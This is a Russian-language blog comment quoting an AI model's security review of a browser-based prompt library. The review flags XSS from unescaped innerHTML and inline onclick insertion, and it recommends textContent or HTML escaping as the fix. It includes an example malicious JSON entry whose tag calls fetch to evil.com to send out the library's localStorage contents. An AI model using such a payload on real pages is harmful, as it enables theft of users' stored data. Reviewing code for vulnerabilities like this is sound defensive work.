2
ladkk_ya
ladkk_ya
в посте
Готовая библиотека промптов для практиков
4 мая, 2026
Привет. Кими ругается, что код не очень безопасный. "Главная проблема: XSS (Cross-Site Scripting)
Код заявляет о безопасности, но содержит критические уязвимости вставки HTML.
Где именно:
• p.title, p.note, p.tags, item.cat вставляются в innerHTML без экранирования в фун
ии renderPrompts().
• cat вставляется в innerHTML в renderCategories() и даже попадает в inline-атрибут
nclick="selectCategory('${cat}')".
Что это значит: Если в заголовок промпта, примечание, тег или имя категории вписать
HTML/JS, браузер выполнит его. Пример вредоносного промпта:
{
"title": "",
"content": "текст",
"tags": ["fetch('http://evil.com?d='+localStorage.getItem('neuropanda_pro
mpt_library'))"]
}
Почему это опасно даже локально:
• При импорте JSON нет никакой валидации содержимого. Можно подсунуть вредоносный б
ап.
• Если файл открыт через file://, в некоторых браузерах (Firefox) скрипт на страниц
может получить доступ к localStorage других файлов из той же директории.
• Даже в изолированном Chrome: внедрённый скрипт может прочитать вашу базу промптов
отправить её куда угодно, если вы случайно вставили скрипт.
Исправление: все пользовательские строки, вставляемые в DOM, должны проходить через
textContent или функцию экранирования HTML-entities. p.content экранируется в highl
ightVariables(), но title, note, tags, category — нет."
Ответить
